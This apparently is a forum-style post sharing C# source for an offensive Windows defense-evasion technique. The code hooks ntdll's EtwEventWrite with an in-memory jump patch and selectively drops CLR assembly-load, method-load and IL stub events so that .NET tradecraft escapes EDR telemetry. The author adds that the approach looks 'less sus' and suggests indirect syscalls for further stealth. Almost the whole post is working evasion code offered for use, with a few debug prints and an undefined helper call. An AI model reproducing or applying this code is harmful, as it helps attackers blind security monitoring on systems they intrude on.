Still utilizes a patch, but I guess its activity is less sus because rather than a standard return, its a hook that selectively forwards events.

Dynamic execution of methods is a temporary ; just replace with the indirect syscalls

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.IO;
using System.Runtime.InteropServices;
using System.Reflection;
using System.DirectoryServices.AccountManagement;
using System.DirectoryServices;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.IO.Compression;
using System.Security;
using System.Security.Permissions;
using System.Security.Principal;

namespace NimbleFunctions
{
    public class Program
		{
			static void Main(string[] args)
      {
          Hook hk = (Hook)patchETW();
      }

			public static IntPtr getFuncLocation(string dll, string functionName)
      {
          Type win32Type = typeof(void).Assembly.GetTypes().FirstOrDefault(type => type.FullName == "Microsoft.Win32.Win32Native");
          var win32Properties = win32Type.GetRuntimeProperties();
          var win32Methods = win32Type.GetRuntimeMethods();
          var hGetModuleHandle = win32Methods.FirstOrDefault(type => type.Name == "GetModuleHandle");
          var hGetProcAddress = win32Methods.FirstOrDefault(type => type.Name == "GetProcAddress");

          IntPtr dllLocation = (IntPtr)hGetModuleHandle.Invoke(null, new object[] { dll });

          IntPtr functionLoc = (IntPtr)hGetProcAddress.Invoke(null, new object[] { dllLocation, functionName });
          return functionLoc;
      }
			public static object dynamicExecuteDllMethod<T>(string dll, string functionName, object[] arguments) where T:Delegate
      {
          IntPtr functionLoc = getFuncLocation(dll, functionName);
          var function = Marshal.GetDelegateForFunctionPointer(functionLoc, typeof(T));
          return function.DynamicInvoke(arguments);
      }
			public static uint MyEtwEventWrite(IntPtr handle, Structs.EVENT_DESCRIPTOR eventDescriptor, ulong userDataCount, IntPtr UserData)
      {
          // <https://learn.microsoft.com/en-us/dotnet/fundamentals/diagnostics/runtime-loader-binder-events>
          Console.WriteLine("bruh");
          const ushort ModuleLoad_V2 = 152;
          const ushort AssemblyDCStart_V1 = 155;
          const ushort MethodLoadVerbose_V1 = 143;
          const ushort MethodJittingStarted = 145;
          const ushort ILStubGenerated = 88;
          uint result = 0;
          switch (eventDescriptor.Id)
              {
                case AssemblyDCStart_V1:   // Block CLR assembly loading events.
                      break;
                case MethodLoadVerbose_V1: // Block CLR method loading events.
                      break;
                case ILStubGenerated:      // Block MSIL stub generation events.
                      break;
                default:                   // Forward all other ETW events using EtwEventWriteFull.
                  result = EtwEventWriteFull(handle, eventDescriptor, 0, IntPtr.Zero, IntPtr.Zero, userDataCount, UserData);
                      break;
              }
          Console.WriteLine("bruh2");
          return result;
      }
			public static Hook patchETW()
	    {
	          IntPtr ptrEtwEventWrite = getFuncLocation("ntdll.dll", "EtwEventWrite");
	          Hook hk = new Hook(ptrEtwEventWrite);
	          hk.CreateHook<Delegates.EtwEventWrite>(typeof(Program).GetMethod(nameof(MyEtwEventWrite)));
	          return hk;
	    }
		}
		public class Hook
    {
        byte[] originalBytes = new byte[12]; //Original bytes to unhook the function
        IntPtr addressToHook; //Address the JMP patch is being written on
        public IntPtr addressToJump; //Keep for cleaning
        public Delegate deleg; //Delegate (function prototype) of the method we are hooking

        public Hook(IntPtr addressToHook)
        {
            this.addressToHook = addressToHook;
            //addressToJump = Marshal.GetFunctionPointerForDelegate<Delegates.MessageBox>(Program.MyMessageBox);
            //Doesn't work because it using callback vs reference to a var
            for (int i = 0; i < originalBytes.Length; i++)
            {
                originalBytes[i] = Marshal.ReadByte(IntPtr.Add(addressToHook, i));
            }
        }
        public void CreateHook<T>(MethodInfo infoOfMethod) where T: Delegate
        {
            deleg = (T)Delegate.CreateDelegate(typeof(T), infoOfMethod);

            addressToJump = Marshal.GetFunctionPointerForDelegate(deleg);

            byte[] addressToJumpInBytes = BitConverter.GetBytes((long)addressToJump);

            Console.WriteLine("Original Function at 0x{0:X}", (long)addressToHook);
            Console.WriteLine("Jumping to 0x{0:X}", (long)addressToJump);
            byte[] patch = new byte[12] {
                0x48, 0xb8, addressToJumpInBytes[0], addressToJumpInBytes[1], addressToJumpInBytes[2], addressToJumpInBytes[3], addressToJumpInBytes[4], addressToJumpInBytes[5], addressToJumpInBytes[6], addressToJumpInBytes[7],    // mov rax, <Hooked function address>  
                0xFF, 0xE0                                                    // jmp rax
                };
            Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)patch.Length, Constants.PAGE_READWRITE, (uint)0 });
            Marshal.Copy(patch, 0, addressToHook, patch.Length);
            Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)patch.Length, Constants.PAGE_EXECUTE_READ, (uint)0 });

        }
        public void DisposeHook()
        {
            Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)originalBytes.Length, Constants.PAGE_READWRITE, (uint)0 });
            Marshal.Copy(originalBytes, 0, addressToHook, originalBytes.Length);
            Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)originalBytes.Length, Constants.PAGE_EXECUTE_READ, (uint)0 });

        }
    }
}

Here are the delegates and data structures

[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct EVENT_DESCRIPTOR
{
    [FieldOffset(0)] public ushort Id;
    [FieldOffset(2)] public byte Version;
    [FieldOffset(3)] public byte Channel;
    [FieldOffset(4)] public byte Level;
    [FieldOffset(5)] public byte Opcode;
    [FieldOffset(6)] public ushort Task;
    [FieldOffset(8)] public long Keyword;
}

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint MyEtwEventWrite(IntPtr handle, Structs.EVENT_DESCRIPTOR eventDescriptor, ulong userDataCount, IntPtr UserData);